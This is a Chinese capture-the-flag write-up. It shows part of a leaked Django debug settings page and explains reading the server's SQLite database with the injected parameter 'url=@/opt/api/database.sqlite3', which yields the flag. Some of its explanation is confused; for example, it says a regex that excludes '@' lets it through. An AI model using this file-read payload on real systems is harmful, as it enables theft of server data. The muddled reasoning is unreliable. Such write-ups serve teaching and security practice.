%H:%M',u'%m/%d/%y']</pre></td></tr><tr><td>DATE_FORMAT</td><td class="code"><pre>u'N j, Y'</pre></td></tr><tr><td>DATE_INPUT_FORMATS</td><td class="code"><pre>[u'%Y-%m-%d',u'%m/%d/%Y',u'%m/%d/%y',u'%b %d %Y',u'%b %d, %Y',u'%d %b %Y',u'%d %b, %Y',u'%B %d %Y',u'%B %d, %Y',u'%d %B %Y',u'%d %B, %Y']</pre></td></tr><tr><td>DEBUG</td><td class="code"><pre>True</pre></td></tr><tr><td>DEBUG_PROPAGATE_EXCEPTIONS</td><td class="code"><pre>False</pre></td></tr><tr><td>DECIMAL_SEPARATOR</td><td class="code"><pre>u'.'</pre></td></tr><tr><td>DEFAULT_CHARSET</td><td class="code"><pre>u'utf-8'</pre></td></tr><tr><td>DEFAULT_CONTENT_TYPE</td><td class="code"><pre>u'text/html'</pre></td></tr><tr><td>DEFAULT_EXCEPTION_REPORTER_FILTER</td><td class="code"><pre>u'django.views.debug.SafeExceptionReporterFilter'</pre></td></tr><tr><td>DEFAULT_FILE_STORAGE</td><td class="code"><pre>u'django.core.files.storage.FileSystemStorage'</pre></td></tr><tr><td>DEFAULT_FROM_EMAIL</td><td class="code"><pre>u'webmaster@localhost'</pre></td></tr><tr><td>DEFAULT_INDEX_TABLESPACE</td><td class="code"><pre>u''</pre></td></tr><tr><td>DEFAULT_TABLESPACE</td><td class="code"><pre>u''</pre></td></tr><tr><td>DISALLOWED_USER_AGENTS</td><td class="code"><pre>[]</pre></td></tr><tr><td>EMAIL_BACKEND</td><td class="code"><pre>u'django.core.mail.backends.smtp.EmailBackend'</pre></td></tr><tr><td>EMAIL_HOST</td><td class="code"><pre>u'localhost'</pre></td></tr><tr><td>EMAIL_HOST_PASSWORD</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>EMAIL_HOST_USER</td><td class="code"><pre>u''</pre></td></tr><tr><td>EMAIL_PORT</td><td class="code"><pre>25</pre></td></tr><tr><td>EMAIL_SSL_CERTFILE</td><td class="code"><pre>None</pre></td></tr><tr><td>EMAIL_SSL_KEYFILE</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>EMAIL_SUBJECT_PREFIX</td><td class="code"><pre>u'[Django] '</pre></td></tr><tr><td>EMAIL_TIMEOUT</td><td class="code"><pre>None</pre></td></tr><tr><td>EMAIL_USE_SSL</td><td class="code"><pre>False</pre></td></tr><tr><td>EMAIL_USE_TLS</td><td class="code"><pre>False</pre></td></tr><tr><td>FILE_CHARSET</td><td class="code"><pre>u'utf-8'</pre></td></tr><tr><td>FILE_UPLOAD_DIRECTORY_PERMISSIONS</td><td class="code"><pre>None</pre></td></tr><tr><td>FILE_UPLOAD_HANDLERS</td><td class="code"><pre>[u'django.core.files.uploadhandler.MemoryFileUploadHandler',u'django.core.files.uploadhandler.TemporaryFileUploadHandler']</pre></td></tr><tr><td>FILE_UPLOAD_MAX_MEMORY_SIZE</td><td class="code"><pre>2621440</pre></td></tr><tr><td>FILE_UPLOAD_PERMISSIONS</td><td class="code"><pre>None</pre></td></tr><tr><td>FILE_UPLOAD_TEMP_DIR</td><td class="code"><pre>None</pre></td></tr><tr><td>FIRST_DAY_OF_WEEK</td><td class="code"><pre>0</pre></td></tr><tr><td>FIXTURE_DIRS</td><td class="code"><pre>[]</pre></td></tr><tr><td>FORCE_SCRIPT_NAME</td><td class="code"><pre>None</pre></td></tr><tr><td>FORMAT_MODULE_PATH</td><td class="code"><pre>None</pre></td></tr><tr><td>IGNORABLE_404_URLS</td><td class="code"><pre>[]</pre></td></tr><tr><td>INSTALLED_APPS</td><td class="code"><pre>['django.contrib.admin','django.contrib.auth','django.contrib.contenttypes','django.contrib.sessions','django.contrib.messages','django.contrib.staticfiles','dnsapi']</pre></td></tr><tr><td>INTERNAL_IPS</td><td class="code"><pre>[]</pre></td></tr><tr><td>LANGUAGES</td><td class="code"><pre>[(u'af', u'Afrikaans'),(u'ar', u'Arabic'),(u'ast', u'Asturian'),(u'az', u'Azerbaijani'),(u'bg', u'Bulgarian'),(u'be', u'Belarusian'),(u'bn', u'Bengali'),(u'br', u'Breton'),(u'bs', u'Bosnian'),(u'ca', u'Catalan'),(u'cs', u'Czech'),(u'cy', u'Welsh'),(u'da', u'Danish'),(u'de', u'German'),(u'dsb', u'Lower Sorbian'),(u'el', u'Greek'),(u'en', u'English'),(u'en-au', u'Australian English'),(u'en-gb', u'British English'),(u'eo', u'Esperanto'),(u'es', u'Spanish'),(u'es-ar', u'Argentinian Spanish'),(u'es-co', u'Colombian Spanish'),(u'es-mx', u'Mexican Spanish'),(u'es-ni', u'Nicaraguan Spanish'),(u'es-ve', u'Venezuelan Spanish'),(u'et', u'Estonian'),(u'eu', u'Basque'),(u'fa', u'Persian'),(u'fi', u'Finnish'),(u'fr', u'French'),(u'fy', u'Frisian'),(u'ga', u'Irish'),(u'gd', u'Scottish Gaelic'),(u'gl', u'Galician'),(u'he', u'Hebrew'),(u'hi', u'Hindi'),(u'hr', u'Croatian'),(u'hsb', u'Upper Sorbian'),(u'hu', u'Hungarian'),(u'ia', u'Interlingua'),(u'id', u'Indonesian'),(u'io', u'Ido'),(u'is', u'Icelandic'),(u'it', u'Italian'),(u'ja', u'Japanese'),(u'ka', u'Georgian'),(u'kk', u'Kazakh'),(u'km', u'Khmer'),(u'kn', u'Kannada'),(u'ko', u'Korean'),(u'lb', u'Luxembourgish'),(u'lt', u'Lithuanian'),(u'lv', u'Latvian'),(u'mk', u'Macedonian'),(u'ml', u'Malayalam'),(u'mn', u'Mongolian'),(u'mr', u'Marathi'),(u'my', u'Burmese'),(u'nb', u'Norwegian Bokm\xe5l'),(u'ne', u'Nepali'),(u'nl', u'Dutch'),(u'nn', u'Norwegian Nynorsk'),(u'os', u'Ossetic'),(u'pa', u'Punjabi'),(u'pl', u'Polish'),(u'pt', u'Portuguese'),(u'pt-br', u'Brazilian Portuguese'),(u'ro', u'Romanian'),(u'ru', u'Russian'),(u'sk', u'Slovak'),(u'sl', u'Slovenian'),(u'sq', u'Albanian'),(u'sr', u'Serbian'),(u'sr-latn', u'Serbian Latin'),(u'sv', u'Swedish'),(u'sw', u'Swahili'),(u'ta', u'Tamil'),(u'te', u'Telugu'),(u'th', u'Thai'),(u'tr', u'Turkish'),(u'tt', u'Tatar'),(u'udm', u'Udmurt'),(u'uk', u'Ukrainian'),(u'ur', u'Urdu'),(u'vi', u'Vietnamese'),(u'zh-hans', u'Simplified Chinese'),(u'zh-hant', u'Traditional Chinese')]</pre></td></tr><tr><td>LANGUAGES_BIDI</td><td class="code"><pre>[u'he', u'ar', u'fa', u'ur']</pre></td></tr><tr><td>LANGUAGE_CODE</td><td class="code"><pre>'en-us'</pre></td></tr><tr><td>LANGUAGE_COOKIE_AGE</td><td class="code"><pre>None</pre></td></tr><tr><td>LANGUAGE_COOKIE_DOMAIN</td><td class="code"><pre>None</pre></td></tr><tr><td>LANGUAGE_COOKIE_NAME</td><td class="code"><pre>u'django_language'</pre></td></tr><tr><td>LANGUAGE_COOKIE_PATH</td><td class="code"><pre>u'/'</pre></td></tr><tr><td>LOCALE_PATHS</td><td class="code"><pre>[]</pre></td></tr><tr><td>LOGGING</td><td class="code"><pre>{}</pre></td></tr><tr><td>LOGGING_CONFIG</td><td class="code"><pre>u'logging.config.dictConfig'</pre></td></tr><tr><td>LOGIN_REDIRECT_URL</td><td class="code"><pre>u'/accounts/profile/'</pre></td></tr><tr><td>LOGIN_URL</td><td class="code"><pre>u'/accounts/login/'</pre></td></tr><tr><td>LOGOUT_REDIRECT_URL</td><td class="code"><pre>None</pre></td></tr><tr><td>MANAGERS</td><td class="code"><pre>[]</pre></td></tr><tr><td>MEDIA_ROOT</td><td class="code"><pre>u''</pre></td></tr><tr><td>MEDIA_URL</td><td class="code"><pre>u''</pre></td></tr><tr><td>MESSAGE_STORAGE</td><td class="code"><pre>u'django.contrib.messages.storage.fallback.FallbackStorage'</pre></td></tr><tr><td>MIDDLEWARE</td><td class="code"><pre>['django.middleware.security.SecurityMiddleware','django.contrib.sessions.middleware.SessionMiddleware','django.middleware.common.CommonMiddleware','django.contrib.auth.middleware.AuthenticationMiddleware','django.contrib.messages.middleware.MessageMiddleware','django.middleware.clickjacking.XFrameOptionsMiddleware']</pre></td></tr><tr><td>MIDDLEWARE_CLASSES</td><td class="code"><pre>[u'django.middleware.common.CommonMiddleware',u'django.middleware.csrf.CsrfViewMiddleware']</pre></td></tr><tr><td>MIGRATION_MODULES</td><td class="code"><pre>{}</pre></td></tr><tr><td>MONTH_DAY_FORMAT</td><td class="code"><pre>u'F j'</pre></td></tr><tr><td>NUMBER_GROUPING</td><td class="code"><pre>0</pre></td></tr><tr><td>PASSWORD_HASHERS</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>PASSWORD_RESET_TIMEOUT_DAYS</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>PREPEND_WWW</td><td class="code"><pre>False</pre></td></tr><tr><td>ROOT_URLCONF</td><td class="code"><pre>'api.urls'</pre></td></tr><tr><td>SECRET_KEY</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>SECURE_BROWSER_XSS_FILTER</td><td class="code"><pre>False</pre></td></tr><tr><td>SECURE_CONTENT_TYPE_NOSNIFF</td><td class="code"><pre>False</pre></td></tr><tr><td>SECURE_HSTS_INCLUDE_SUBDOMAINS</td><td class="code"><pre>False</pre></td></tr><tr><td>SECURE_HSTS_SECONDS</td><td class="code"><pre>0</pre></td></tr><tr><td>SECURE_PROXY_SSL_HEADER</td><td class="code"><pre>None</pre></td></tr><tr><td>SECURE_REDIRECT_EXEMPT</td><td class="code"><pre>[]</pre></td></tr><tr><td>SECURE_SSL_HOST</td><td class="code"><pre>None</pre></td></tr><tr><td>SECURE_SSL_REDIRECT</td><td class="code"><pre>False</pre></td></tr><tr><td>SERVER_EMAIL</td><td class="code"><pre>u'root@localhost'</pre></td></tr><tr><td>SESSION_CACHE_ALIAS</td><td class="code"><pre>u'default'</pre></td></tr><tr><td>SESSION_COOKIE_AGE</td><td class="code"><pre>1209600</pre></td></tr><tr><td>SESSION_COOKIE_DOMAIN</td><td class="code"><pre>None</pre></td></tr><tr><td>SESSION_COOKIE_HTTPONLY</td><td class="code"><pre>True</pre></td></tr><tr><td>SESSION_COOKIE_NAME</td><td class="code"><pre>u'sessionid'</pre></td></tr><tr><td>SESSION_COOKIE_PATH</td><td class="code"><pre>u'/'</pre></td></tr><tr><td>SESSION_COOKIE_SECURE</td><td class="code"><pre>False</pre></td></tr><tr><td>SESSION_ENGINE</td><td class="code"><pre>u'django.contrib.sessions.backends.db'</pre></td></tr><tr><td>SESSION_EXPIRE_AT_BROWSER_CLOSE</td><td class="code"><pre>False</pre></td></tr><tr><td>SESSION_FILE_PATH</td><td class="code"><pre>None</pre></td></tr><tr><td>SESSION_SAVE_EVERY_REQUEST</td><td class="code"><pre>False</pre></td></tr><tr><td>SESSION_SERIALIZER</td><td class="code"><pre>u'django.contrib.sessions.serializers.JSONSerializer'</pre></td></tr><tr><td>SETTINGS_MODULE</td><td class="code"><pre>'api.settings'</pre></td></tr><tr><td>SHORT_DATETIME_FORMAT</td><td class="code"><pre>u'm/d/Y P'</pre></td></tr><tr><td>SHORT_DATE_FORMAT</td><td class="code"><pre>u'm/d/Y'</pre></td></tr><tr><td>SIGNING_BACKEND</td><td class="code"><pre>u'django.core.signing.TimestampSigner'</pre></td></tr><tr><td>SILENCED_SYSTEM_CHECKS</td><td class="code"><pre>[]</pre></td></tr><tr><td>STATICFILES_DIRS</td><td class="code"><pre>[]</pre></td></tr><tr><td>STATICFILES_FINDERS</td><td class="code"><pre>[u'django.contrib.staticfiles.finders.FileSystemFinder',u'django.contrib.staticfiles.finders.AppDirectoriesFinder']</pre></td></tr><tr><td>STATICFILES_STORAGE</td><td class="code"><pre>u'django.contrib.staticfiles.storage.StaticFilesStorage'</pre></td></tr><tr><td>STATIC_ROOT</td><td class="code"><pre>None</pre></td></tr><tr><td>STATIC_URL</td><td class="code"><pre>'/static/'</pre></td></tr><tr><td>TEMPLATES</td><td class="code"><pre>[{'APP_DIRS': True,'BACKEND': 'django.template.backends.django.DjangoTemplates','DIRS': [],'OPTIONS': {'context_processors': ['django.template.context_processors.debug','django.template.context_processors.request','django.contrib.auth.context_processors.auth','django.contrib.messages.context_processors.messages']}}]</pre></td></tr><tr><td>TEST_NON_SERIALIZED_APPS</td><td class="code"><pre>[]</pre></td></tr><tr><td>TEST_RUNNER</td><td class="code"><pre>u'django.test.runner.DiscoverRunner'</pre></td></tr><tr><td>THOUSAND_SEPARATOR</td><td class="code"><pre>u','</pre></td></tr><tr><td>TIME_FORMAT</td><td class="code"><pre>u'P'</pre></td></tr><tr><td>TIME_INPUT_FORMATS</td><td class="code"><pre>[u'%H:%M:%S', u'%H:%M:%S.%f', u'%H:%M']</pre></td></tr><tr><td>TIME_ZONE</td><td class="code"><pre>'UTC'</pre></td></tr><tr><td>USE_ETAGS</td><td class="code"><pre>False</pre></td></tr><tr><td>USE_I18N</td><td class="code"><pre>True</pre></td></tr><tr><td>USE_L10N</td><td class="code"><pre>True</pre></td></tr><tr><td>USE_THOUSAND_SEPARATOR</td><td class="code"><pre>False</pre></td></tr><tr><td>USE_TZ</td><td class="code"><pre>True</pre></td></tr><tr><td>USE_X_FORWARDED_HOST</td><td class="code"><pre>False</pre></td></tr><tr><td>USE_X_FORWARDED_PORT</td><td class="code"><pre>False</pre></td></tr><tr><td>WSGI_APPLICATION</td><td class="code"><pre>'api.wsgi.application'</pre></td></tr><tr><td>X_FRAME_OPTIONS</td><td class="code"><pre>u'SAMEORIGIN'</pre></td></tr><tr><td>YEAR_MONTH_FORMAT</td><td class="code"><pre>u'F Y'</pre></td></tr></tbody></table></div><div id="explanation"><p>You're seeing this error because you have <code>DEBUG = True</code> in yourDjango settings file. Change that to <code>False</code>, and Django willdisplay a standard page generated by the handler for this status code.</p></div></body>
</html>
将网页存储为html进行访问,便于观察。直接搜索flag,没有找到有用的信息
搜索data,发现了database.sqlite3文件,flag大概率在里面,不然这个题目不会无缘无故的出现这个sqlite3
获取其他文件
根据网址里提供的'NAME': '/opt/api/database.sqlite3'
,我们调整get请求:url=@/opt/api/database.sqlite3
,成功访问该文件相关信息
在 url=@/opt/api/database.sqlite3
中,@
符号的作用是 利用 Django/Web 框架的文件读取特性,具体原因如下:
1. @
符号的常见用途
在 HTTP 请求或命令行工具(如 curl
)中,@
通常表示 从文件读取内容。例如:
curl -X POST http://example.com -d @file.txt
表示上传文件内容。- 在 Django 或其他 Web 框架中,
@
可能被解析为 文件路径的前缀,触发文件读取操作。
2. 本题中的利用场景
根据题目描述,后端代码的逻辑如下:
-
输入验证不严:
- 前端通过
GET
请求提交url
参数(如url=loli.club
)。 - 后端可能直接将该参数传递给文件操作函数(如
open()
或os.popen()
)。
- 前端通过
-
@
触发文件读取:- 当输入
url=@/opt/api/database.sqlite3
时:@
符号可能被解析为 从路径读取文件 的指令。- 后端尝试读取
/opt/api/database.sqlite3
文件的内容,而非将其作为普通字符串处理。
- 当输入
-
绕过字符过滤:
- 题目中的正则表达式
^[a-zA-Z0-9\-\./]+$
允许/
和.
,因此@/opt/api/database.sqlite3
可能被允许通过检查。 @
符号本身可能未被过滤,从而被后端解释为文件读取操作。
- 题目中的正则表达式
3. 为什么不用其他符号?
../
路径穿越:
如果直接尝试url=../../../../etc/passwd
,可能会被过滤或拦截。file://
协议:
某些环境下file://
会被禁用或转义。@
的隐蔽性:
@
符号在 URL 中较常见(如邮箱),可能不会被安全规则拦截。
4. 技术原理总结
- 文件包含漏洞:
后端未对输入进行严格校验,直接将用户输入拼接到文件操作函数中。 @
的魔法:
框架或底层库(如 Python 的open()
)可能将@
开头的字符串视为文件路径,而非普通数据。
5. 修复建议
如果这是真实场景,应:
- 禁止用户输入以
@
或特殊符号开头的路径。 - 使用白名单校验输入(如只允许域名格式
example.com
)。 - 避免直接将用户输入拼接到文件操作命令中。
关键点
@
符号在此处的作用是 利用框架/语言特性强制触发文件读取,从而绕过常规的字符串处理逻辑。这是文件包含漏洞的一种巧妙利用方式。
转换为网页,在最后发现了flag
答案:flag{yoooo_Such_A_G00D_@}
如果想用工具打开sqslite,必须将其保存为二进制文件,代码如下:
data = 'SQLite format 3\x00\x04\x00\x01\x01\x00@ \x00...' # 粘贴完整的字符串
with open('database.sqlite', 'wb') as f:f.write(data.encode('latin1')) # 用latin1编码保留原始字节